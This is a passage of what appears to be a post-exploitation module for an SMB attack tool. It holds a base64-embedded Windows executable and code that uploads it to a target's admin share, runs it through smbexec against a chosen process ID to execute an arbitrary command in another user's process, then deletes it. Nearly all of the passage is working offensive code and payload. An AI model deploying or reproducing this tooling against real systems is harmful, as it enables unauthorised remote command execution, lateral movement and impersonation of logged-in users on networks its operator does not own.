aWNfb3N0cmVhbUBEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFFQUFYWFoAaAM/Zmx1c2hAPyRiYXNpY19vc3RyZWFtQERVPyRjaGFyX3RyYWl0c0BEQHN0ZEBAQHN0ZEBAUUVBQUFFQVYxMkBYWgDFBD9zZXRzdGF0ZUA/JGJhc2ljX2lvc0BEVT8kY2hhcl90cmFpdHNAREBzdGRAQEBzdGRAQFFFQUFYSF9OQFoABgE/PzY/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRRUFBQUVBVjAxQFA2QUFFQVYwMUBBRUFWMDFAQFpAWgAAAgE/PzY/JGJhc2ljX29zdHJlYW1ARFU/JGNoYXJfdHJhaXRzQERAc3RkQEBAc3RkQEBRRUFBQUVBVjAxQEtAWgAATVNWQ1AxNDAuZGxsAAAAAF9fQ3h4RnJhbWVIYW5kbGVyNAAAIwBfX3N0ZF90ZXJtaW5hdGUACABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAGwBfX2N1cnJlbnRfZXhjZXB0aW9uABwAX19jdXJyZW50X2V4Y2VwdGlvbl9jb250ZXh0AD4AbWVtc2V0AABWQ1JVTlRJTUUxNDBfMS5kbGwAAFZDUlVOVElNRTE0MC5kbGwAAAAAX19hY3J0X2lvYl9mdW5jAA8AX19zdGRpb19jb21tb25fdnNwcmludGZfcwADAF9fc3RkaW9fY29tbW9uX3ZmcHJpbnRmAGYAc3lzdGVtAABQAGF0b2kAAEAAX3NlaF9maWx0ZXJfZXhlAEIAX3NldF9hcHBfdHlwZQAJAF9fc2V0dXNlcm1hdGhlcnIAABgAX2NvbmZpZ3VyZV9uYXJyb3dfYXJndgAAMwBfaW5pdGlhbGl6ZV9uYXJyb3dfZW52aXJvbm1lbnQAACgAX2dldF9pbml0aWFsX25hcnJvd19lbnZpcm9ubWVudAA2AF9pbml0dGVybQA3AF9pbml0dGVybV9lAFUAZXhpdAAAIwBfZXhpdABUAF9zZXRfZm1vZGUAAAQAX19wX19fYXJnYwAABQBfX3BfX19hcmd2AAAWAF9jZXhpdAAAFQBfY19leGl0AD0AX3JlZ2lzdGVyX3RocmVhZF9sb2NhbF9leGVfYXRleGl0X2NhbGxiYWNrAAAIAF9jb25maWd0aHJlYWRsb2NhbGUAFgBfc2V0X25ld19tb2RlAAEAX19wX19jb21tb2RlAAA0AF9pbml0aWFsaXplX29uZXhpdF90YWJsZQAAPABfcmVnaXN0ZXJfb25leGl0X2Z1bmN0aW9uAB4AX2NydF9hdGV4aXQAZwB0ZXJtaW5hdGUAYXBpLW1zLXdpbi1jcnQtc3RkaW8tbDEtMS0wLmRsbABhcGktbXMtd2luLWNydC1ydW50aW1lLWwxLTEtMC5kbGwAYXBpLW1zLXdpbi1jcnQtY29udmVydC1sMS0xLTAuZGxsAGFwaS1tcy13aW4tY3J0LW1hdGgtbDEtMS0wLmRsbAAAYXBpLW1zLXdpbi1jcnQtbG9jYWxlLWwxLTEtMC5kbGwAAGFwaS1tcy13aW4tY3J0LWhlYXAtbDEtMS0wLmRsbAAA6QRSdGxDYXB0dXJlQ29udGV4dADxBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAAPgEUnRsVmlydHVhbFVud2luZAAA2AVVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAJcFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyALYFVGVybWluYXRlUHJvY2VzcwAAngNJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AGQEUXVlcnlQZXJmb3JtYW5jZUNvdW50ZXIAKwJHZXRDdXJyZW50UHJvY2Vzc0lkAC8CR2V0Q3VycmVudFRocmVhZElkAAABA0dldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAIEDSW5pdGlhbGl6ZVNMaXN0SGVhZACXA0lzRGVidWdnZXJQcmVzZW50ADwAbWVtY3B5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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") + + if "EXEC" in module_options: + self.cmd = module_options["EXEC"] + + if "PID" in module_options: + self.pid = module_options["PID"] + + def on_admin_login(self, context, connection): + + if self.useembeded: + file_to_upload = "/tmp/pi.exe" + with open(file_to_upload, 'wb') as pm: + pm.write(self.pi_embedded) + else: + if path.isfile(self.imp_exe): + file_to_upload = self.imp_exe + else: + context.log.error(f"Cannot open {self.imp_exe}") + exit(1) + + try: + if self.cmd == "" or self.pid == "": + self.uploadfile = False + context.log.highlight(f"Firstly run tasklist.exe /v to find process id for each user") + context.log.highlight(f"Usage: -o PID=pid EXEC='Command'") + return + else: + self.uploadfile = True + context.log.display(f"Uploading {self.pi}") + with open(file_to_upload, 'rb') as pi: + try: + connection.conn.putFile(self.share, f"{self.tmp_share}{self.pi}", pi.read) + context.log.success(f"pi.exe successfully uploaded") + + except Exception as e: + context.log.fail(f"Error writing file to share {self.tmp_share}: {e}") + return + + context.log.display(f"Executing {self.cmd}") + command = f'{self.tmp_dir}pi.exe {self.pid} \"{self.cmd}\"' + for line in connection.execute(command, True, methods=["smbexec"]).splitlines(): + context.log.highlight(line) + + except Exception as e: + context.log.fail(f"Error running command: {e}") + finally: + try: + if self.uploadfile == True: + connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.pi}") + context.log.success(f"pi.exe successfully deleted") + except Exception as e: + context.log.fail(f"Error deleting pi.exe on {self.share}: {e}")